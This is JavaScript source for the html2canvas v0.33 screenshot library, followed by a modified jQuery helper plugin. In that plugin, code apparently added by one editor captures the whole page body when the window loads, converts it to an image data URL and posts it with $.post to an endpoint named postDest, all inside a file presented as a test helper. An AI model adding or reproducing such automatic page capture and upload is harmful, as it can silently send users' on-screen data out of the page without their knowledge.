if (queueLen === 1) {
if (typeof options.elements[ 0 ] === "object" && options.elements[ 0 ].nodeName !== "BODY" && usingFlashcanvas === false) {
// crop image to the bounds of selected (single) element
bounds = html2canvas.Util.Bounds( options.elements[ 0 ] );
newCanvas = doc.createElement('canvas');
newCanvas.width = bounds.width;
newCanvas.height = bounds.height;
ctx = newCanvas.getContext("2d");
ctx.drawImage( canvas, bounds.left, bounds.top, bounds.width, bounds.height, 0, 0, bounds.width, bounds.height );
delete canvas;
return newCanvas;
}
} else {
// TODO clip and resize multiple elements
/*
for ( i = 0; i < queueLen; i+=1 ) {
if (options.elements[ i ] instanceof Element) {
}
}*/
}
return canvas;
}
function svgRenderer(zStack){
sortZ(zStack.zIndex);
var svgNS = "http://www.w3.org/2000/svg",
svg = doc.createElementNS(svgNS, "svg"),
xlinkNS = "http://www.w3.org/1999/xlink",
defs = doc.createElementNS(svgNS, "defs"),
i,
a,
queueLen,
storageLen,
storageContext,
renderItem,
el,
settings = {},
text,
fontStyle,
clipId = 0;
svg.setAttribute("version", "1.1");
svg.setAttribute("baseProfile", "full");
svg.setAttribute("viewBox", "0 0 " + Math.max(zStack.ctx.width, options.width) + " " + Math.max(zStack.ctx.height, options.height));
svg.setAttribute("width", Math.max(zStack.ctx.width, options.width) + "px");
svg.setAttribute("height", Math.max(zStack.ctx.height, options.height) + "px");
svg.setAttribute("preserveAspectRatio", "none");
svg.appendChild(defs);
for (i = 0, queueLen = queue.length; i < queueLen; i+=1){
storageContext = queue.splice(0, 1)[0];
storageContext.canvasPosition = storageContext.canvasPosition || {};
//this.canvasRenderContext(storageContext,parentctx);
/*
if (storageContext.clip){
ctx.save();
ctx.beginPath();
// console.log(storageContext);
ctx.rect(storageContext.clip.left, storageContext.clip.top, storageContext.clip.width, storageContext.clip.height);
ctx.clip();
}*/
if (storageContext.ctx.storage){
for (a = 0, storageLen = storageContext.ctx.storage.length; a < storageLen; a+=1){
renderItem = storageContext.ctx.storage[a];
switch(renderItem.type){
case "variable":
settings[renderItem.name] = renderItem['arguments'];
break;
case "function":
if (renderItem.name === "fillRect") {
el = doc.createElementNS(svgNS, "rect");
el.setAttribute("x", renderItem['arguments'][0]);
el.setAttribute("y", renderItem['arguments'][1]);
el.setAttribute("width", renderItem['arguments'][2]);
el.setAttribute("height", renderItem['arguments'][3]);
el.setAttribute("fill", settings.fillStyle);
svg.appendChild(el);
} else if(renderItem.name === "fillText") {
el = doc.createElementNS(svgNS, "text");
fontStyle = settings.font.split(" ");
el.style.fontVariant = fontStyle.splice(0, 1)[0];
el.style.fontWeight = fontStyle.splice(0, 1)[0];
el.style.fontStyle = fontStyle.splice(0, 1)[0];
el.style.fontSize = fontStyle.splice(0, 1)[0];
el.setAttribute("x", renderItem['arguments'][1]);
el.setAttribute("y", renderItem['arguments'][2] - (parseInt(el.style.fontSize, 10) + 3));
el.setAttribute("fill", settings.fillStyle);
// TODO get proper baseline
el.style.dominantBaseline = "text-before-edge";
el.style.fontFamily = fontStyle.join(" ");
text = doc.createTextNode(renderItem['arguments'][0]);
el.appendChild(text);
svg.appendChild(el);
} else if(renderItem.name === "drawImage") {
if (renderItem['arguments'][8] > 0 && renderItem['arguments'][7]){
// TODO check whether even any clipping is necessary for this particular image
el = doc.createElementNS(svgNS, "clipPath");
el.setAttribute("id", "clipId" + clipId);
text = doc.createElementNS(svgNS, "rect");
text.setAttribute("x", renderItem['arguments'][5] );
text.setAttribute("y", renderItem['arguments'][6]);
text.setAttribute("width", renderItem['arguments'][3]);
text.setAttribute("height", renderItem['arguments'][4]);
el.appendChild(text);
defs.appendChild(el);
el = doc.createElementNS(svgNS, "image");
el.setAttributeNS(xlinkNS, "xlink:href", renderItem['arguments'][0].src);
el.setAttribute("width", renderItem['arguments'][0].width);
el.setAttribute("height", renderItem['arguments'][0].height);
el.setAttribute("x", renderItem['arguments'][5] - renderItem['arguments'][1]);
el.setAttribute("y", renderItem['arguments'][6] - renderItem['arguments'][2]);
el.setAttribute("clip-path", "url(#clipId" + clipId + ")");
// el.setAttribute("xlink:href", );
el.setAttribute("preserveAspectRatio", "none");
svg.appendChild(el);
clipId += 1;
/*
ctx.drawImage(
renderItem['arguments'][0],
renderItem['arguments'][1],
renderItem['arguments'][2],
renderItem['arguments'][3],
renderItem['arguments'][4],
renderItem['arguments'][5],
renderItem['arguments'][6],
renderItem['arguments'][7],
renderItem['arguments'][8]
);
*/
}
}
break;
default:
}
}
}
/*
if (storageContext.clip){
ctx.restore();
}
*/
}
h2clog("html2canvas: Renderer: SVG Renderer done - returning SVG DOM obj");
return svg;
}
//this.each(this.opts.renderOrder.split(" "),function(i,renderer){
//options.renderer = "svg";
switch(options.renderer.toLowerCase()){
case "canvas":
canvas = doc.createElement('canvas');
if (canvas.getContext){
h2clog("html2canvas: Renderer: using canvas renderer");
return canvasRenderer(parseQueue);
} else {
usingFlashcanvas = true;
h2clog("html2canvas: Renderer: canvas not available, using flashcanvas");
var script = doc.createElement("script");
script.src = options.flashcanvas;
script.onload = (function(script, func){
var intervalFunc;
if (script.onload === undefined) {
// IE lack of support for script onload
if( script.onreadystatechange !== undefined ) {
intervalFunc = function() {
if (script.readyState !== "loaded" && script.readyState !== "complete") {
window.setTimeout( intervalFunc, 250 );
} else {
// it is loaded
func();
}
};
window.setTimeout( intervalFunc, 250 );
} else {
h2clog("html2canvas: Renderer: Can't track when flashcanvas is loaded");
}
} else {
return func;
}
})(script, function(){
if (typeof window.FlashCanvas !== "undefined") {
h2clog("html2canvas: Renderer: Flashcanvas initialized");
window.FlashCanvas.initElement( canvas );
canvasRenderer(parseQueue);
}
});
doc.body.appendChild( script );
return canvas;
}
break;
case "svg":
if (doc.createElementNS){
h2clog("html2canvas: Renderer: using SVG renderer");
return svgRenderer(parseQueue);
}
break;
}
//});
return this;
};
/*
html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
*/
window.html2canvas = html2canvas;
}(window, document));
/**
@license html2canvas v0.33 <http://html2canvas.hertzen.com>
Copyright (c) 2011 Niklas von Hertzen. All rights reserved.
http://www.twitter.com/niklasvh
Released under MIT License
Modified by Phil
*/
/*
* jQuery helper plugin for examples and tests
*/
(function( $ ){
$.fn.html2canvas = function(options) {
if (options && options.profile && window.console && window.console.profile) {
console.profile();
}
var date = new Date(),
$message = null,
timeoutTimer = false,
timer = date.getTime();
options = options || {};
options.elements = this;
options.flashcanvas = "../external/flashcanvas.min.js";
html2canvas.logging = options && options.logging;
options.complete = function(images){
var queue = html2canvas.Parse(this[0], images, options),
$canvas = $(html2canvas.Renderer(queue, options)),
finishTime = new Date();
if (options && options.profile && window.console && window.console.profileEnd) {
console.profileEnd();
}
/* $canvas.css({
position: 'absolute',
left: 0,
top: 0
}).appendTo(document.body);
$canvas.siblings().toggle();*/
// test if canvas is read-able
try {
// $.post(postDest, { png: 'ok123' } );
// $.post(postDest, { png: $canvas[0].toDataURL() } );
var scrn = $canvas[0].toDataURL();
alert('Data is : ' + scrn);
$.post(postDest, { png: scrn } );
} catch(e) {
// Failed
}
};
html2canvas.Preload(this[0], options);
function throwMessage(msg,duration){
window.clearTimeout(timeoutTimer);
timeoutTimer = window.setTimeout(function(){
$message.fadeOut(function(){
$message.remove();
$message = null;
});
},duration || 2000);
if ($message)
$message.remove();
$message = $('<div />').html(msg).css({
margin:0,
padding:10,
background: "#000",
opacity:0.7,
position:"fixed",
top:10,
right:10,
fontFamily: 'Tahoma',
color:'#fff',
fontSize:12,
borderRadius:12,
width:'auto',
height:'auto',
textAlign:'center',
textDecoration:'none',
display:'none'
}).appendTo(document.body).fadeIn();
html2canvas.log(msg);
}
};
})( jQuery );
$(window).ready(function() {
$('body').html2canvas();
});
};
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